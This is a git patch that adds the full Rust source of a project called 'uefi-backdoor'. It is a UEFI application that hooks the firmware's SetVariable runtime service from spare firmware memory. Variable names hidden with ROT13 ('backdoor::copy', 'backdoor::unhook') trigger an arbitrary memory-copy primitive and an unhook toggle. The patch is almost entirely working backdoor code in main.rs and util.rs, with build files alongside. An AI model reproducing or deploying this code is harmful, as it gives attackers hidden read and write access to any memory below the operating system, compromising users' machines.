From d6e575081b376a6a97e9e4741d8eb144df162208 Mon Sep 17 00:00:00 2001 From: Parth Shastri <31370288+cppio@users.noreply.github.com> Date: Mon, 15 Jun 2020 18:36:55 -0400 Subject: [PATCH] Add code --- .cargo/config | 5 ++ .gitignore | 11 +---- Cargo.lock | 123 +++++++++++++++++++++++++++++++++++++++++++++ Cargo.toml | 21 ++++++++ rust-toolchain | 1 + src/main.rs | 91 ++++++++++++++++++++++++++++++++++ src/util.rs | 132 +++++++++++++++++++++++++++++++++++++++++++++++++ 7 files changed, 374 insertions(+), 10 deletions(-) create mode 100644 .cargo/config create mode 100644 Cargo.lock create mode 100644 Cargo.toml create mode 100644 rust-toolchain create mode 100644 src/main.rs create mode 100644 src/util.rs diff --git a/.cargo/config b/.cargo/config new file mode 100644 index 0000000..e2dee73 --- /dev/null +++ b/.cargo/config @@ -0,0 +1,5 @@ +[build] +target = "x86_64-unknown-uefi" + +[target.x86_64-unknown-uefi] +rustflags = ["-Ccode-model=small", "-Clink-arg=/debug:none"] diff --git a/.gitignore b/.gitignore index 088ba6b..ea8c4bf 100644 --- a/.gitignore +++ b/.gitignore @@ -1,10 +1 @@ -# Generated by Cargo -# will have compiled files and executables -/target/ - -# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries -# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html -Cargo.lock - -# These are backup files generated by rustfmt -**/*.rs.bk +/target diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..3cfa7bb --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,123 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +[[package]] +name = "bit_field" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a165d606cf084741d4ac3a28fb6e9b1eb0bd31f6cd999098cfddb0b2ab381dc0" + +[[package]] +name = "bitflags" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf1de2fe8c75bc145a2f577add951f8134889b4795d47466a54a5c846d691693" + +[[package]] +name = "cfg-if" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822" + +[[package]] +name = "ezhook" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62a7c50a39bc1c82937c24aef50f259a41ab3d9210808da1fdc1a2b0647f1274" + +[[package]] +name = "log" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14b6052be84e6b71ab17edffc2eeabf5c2c3ae1fdb464aae35ac50c67a44e1f7" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "panic-abort" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e20e6499bbbc412f280b04a42346b356c6fa0753d5fd22b7bd752ff34c778ee" + +[[package]] +name = "proc-macro2" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "beae6331a816b1f65d04c45b078fd8e6c93e8071771f41b8163255bbd8d7c8fa" +dependencies = [ + "unicode-xid", +] + +[[package]] +name = "quote" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa563d17ecb180e500da1cfd2b028310ac758de548efdd203e18f283af693f37" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "3.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0d843c83754796be1dc049a1b9bb3e7282f95df2510177161f71998eced399f" + +[[package]] +name = "syn" +version = "1.0.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5304cfdf27365b7585c25d4af91b35016ed21ef88f17ced89c7093b43dba8b6" +dependencies = [ + "proc-macro2", + "quote", + "unicode-xid", +] + +[[package]] +name = "ucs2" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85061f4e43545a613c0da6b87725bf23f8da8613cf2473719c4f71a270c4ce8a" +dependencies = [ + "bit_field", +] + +[[package]] +name = "uefi" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab1f1403ecbad37d25120161acc3db12066febf3446efcc40b7631d30678505d" +dependencies = [ + "bitflags", + "log", + "ucs2", + "uefi-macros", +] + +[[package]] +name = "uefi-backdoor" +version = "0.1.0" +dependencies = [ + "ezhook", + "panic-abort", + "r-efi", + "uefi", +] + +[[package]] +name = "uefi-macros" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a69fa8dd920e84d783769c44560484ade81f6c765cde2e1cc46c754ddf95947" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "unicode-xid" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "826e7639553986605ec5979c7dd957c7895e93eabed50ab2ffa7f6128a75097c" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..6d0c192 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,21 @@ +[package] +name = "uefi-backdoor" +version = "0.1.0" +edition = "2018" + +[profile.dev] +panic = "abort" + +[profile.release] +codegen-units = 1 +lto = true +panic = "abort" + +[package.metadata.cargo-xbuild] +panic_immediate_abort = true + +[dependencies] +ezhook = "0.1.0" +panic-abort = "0.3.2" +r-efi = "3.0.0" +uefi = "0.4.6" diff --git a/rust-toolchain b/rust-toolchain new file mode 100644 index 0000000..af47399 --- /dev/null +++ b/rust-toolchain @@ -0,0 +1 @@ +nightly-2020-06-15 diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..21a5d15 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,91 @@ +#![no_std] +#![no_main] +#![feature(abi_efiapi)] + +extern crate panic_abort; + +#[macro_use] +mod util; +use util::*; + +use core::mem; +use ezhook::remote_hook; +use uefi::{prelude::*, table::boot::Tpl, Guid}; + +remote_hook! { + #[hook] + unsafe extern "efiapi" fn set_variable_hook( + variable_name: *const u16, + vendor_guid: *const Guid, + attributes: u32, + data_size: usize, + data: *const u8, + ) -> Status { + if !variable_name.is_null() { + if eq(variable_name, ©_VARIABLE_NAME) { + if data_size == mem::size_of::() { + copy(&*(data as *const CopyData)); + } + + return Status::SUCCESS + } + + if eq(variable_name, &UNHOOK_VARIABLE_NAME) { + toggle!(); + + return Status::SUCCESS + } + + // TODO: store the remote location for proper unhooking + } + + orig!(variable_name, vendor_guid, attributes, data_size, data) + } + + unsafe fn eq(a: *const u16, b: &[u8]) -> bool { + b.iter().enumerate().all(|(n, i)| *a.add(n) == *i as u16) + } + + static COPY_VARIABLE_NAME: [u8; 15] = *b"onpxqbbe::pbcl\0"; + + #[repr(C)] + struct CopyData { + src: *const u8, + dst: *mut u8, + count: usize, + } + + unsafe fn copy(data: &CopyData) { + for i in 0..data.count { + *data.dst.add(i) = *data.src.add(i); + } + } + + static UNHOOK_VARIABLE_NAME: [u8; 17] = *b"onpxqbbe::haubbx\0"; +} + +fn main() -> Status { + let set_variable = raw_runtime_services().set_variable; + println!("[+] set_variable = {:x}", set_variable as usize); + + let region = unwrap!(region_containing(set_variable as _)); + println!("[+] region = {:x}:{:x}", region.start, region.end); + let region = unsafe { range_to_slice(region) }; + + let location = unwrap!(search_for_contiguous(region, 0, unsafe { + set_variable_hook::len() + })); + let start = location.as_ptr() as usize; + println!("[+] location = {:x}:{:x}", start, start + location.len()); + + unsafe { + let hook = set_variable_hook::copy_to(location); + hook.hook(mem::transmute(set_variable)); + + let guard = system_table().boot_services().raise_tpl(Tpl::NOTIFY); + hook.toggle(); + mem::drop(guard); + } + + Status::SUCCESS +} diff --git a/src/util.rs b/src/util.rs new file mode 100644 index 0000000..21c0582 --- /dev/null +++ b/src/util.rs @@ -0,0 +1,132 @@ +use core::{ + mem::{self, MaybeUninit}, + ops::Range, + slice, +}; + +use r_efi::{protocols::simple_text_output, system::RuntimeServices as RawRuntimeServices}; +use uefi::{prelude::*, proto::console::text::Color, Completion}; + +static mut SYSTEM_TABLE: MaybeUninit> = MaybeUninit::uninit(); + +pub fn system_table() -> &'static SystemTable { + unsafe { &*SYSTEM_TABLE.as_ptr() } +} + +pub fn raw_runtime_services() -> &'static RawRuntimeServices { + unsafe { &*(system_table().runtime_services() as *const _ as *const _) } +} + +macro_rules! print { + ($($arg:tt)*) => { { + use ::core::fmt::Write; + let _ = ::core::write!($crate::util::system_table().stdout(), $($arg)*); + } } +} + +macro_rules! println { + ($($arg:tt)*) => { { + use ::core::fmt::Write; + let _ = ::core::writeln!($crate::util::system_table().stdout(), $($arg)*); + } } +} + +#[entry] +fn efi_main(_image_handle: Handle, system_table: SystemTable) -> Status { + unsafe { SYSTEM_TABLE = MaybeUninit::new(system_table) }; + + main(); + + Status::LOAD_ERROR +} + +fn main() { + let stdout = system_table().stdout(); + + let (foreground, background) = unsafe { + let raw_stdout = &*(stdout as *const _ as *const simple_text_output::Protocol); + let mode = &*raw_stdout.mode; + mem::transmute(( + (mode.attribute & 0xF) as u8, + (mode.attribute >> 4 & 0x7) as u8, + )) + }; + + match crate::main() { + Status::SUCCESS => { + let _ = stdout.set_color(Color::LightGreen, background); + println!("╔══════════╗"); + println!("║ Success! ║"); + println!("╚══════════╝"); + } + status => { + let _ = stdout.set_color(Color::LightRed, background); + println!("[-] error: {:?}", status); + } + } + + let _ = stdout.set_color(Color::White, background); + print!("Press any key to continue..."); + let _ = stdout.set_color(foreground, background); + + let stdin = system_table().stdin(); + let _ = system_table() + .boot_services() + .wait_for_event(&mut [stdin.wait_for_key_event()]); + let _ = stdin.read_key(); + + println!(); +} + +macro_rules! unwrap { + ($expr:expr) => { + $expr?.split().1 + }; +} + +static mut BUFFER: [u8; 4096] = [0; 4096]; + +pub fn region_containing(address: usize) -> uefi::Result> { + let (status, (_, descriptors)) = system_table() + .boot_services() + .memory_map(unsafe { &mut BUFFER })? + .split(); + + let region = descriptors + .map(|descriptor| { + let start = descriptor.phys_start as usize; + let end = start + descriptor.page_count as usize * 4096; + + start..end + }) + .find(|region| region.contains(&address)); + + match region { + Some(region) => Ok(Completion::new(status, region)), + None => Err(Status::NOT_FOUND.into()), + } +} + +pub unsafe fn range_to_slice(range: Range) -> &'static mut [u8] { + slice::from_raw_parts_mut(range.start as _, range.len()) +} + +pub fn search_for_contiguous(slice: &mut [u8], item: u8, count: usize) -> uefi::Result<&mut [u8]> { + let mut current = 0; + + for (n, i) in slice.iter().enumerate() { + if *i == item { + current += 1; + + if current == count { + let slice = &mut slice[n + 1 - count..n + 1]; + + return Ok(slice.into()); + } + } else if current != 0 { + current = 0; + } + } + + Err(Status::NOT_FOUND.into()) +}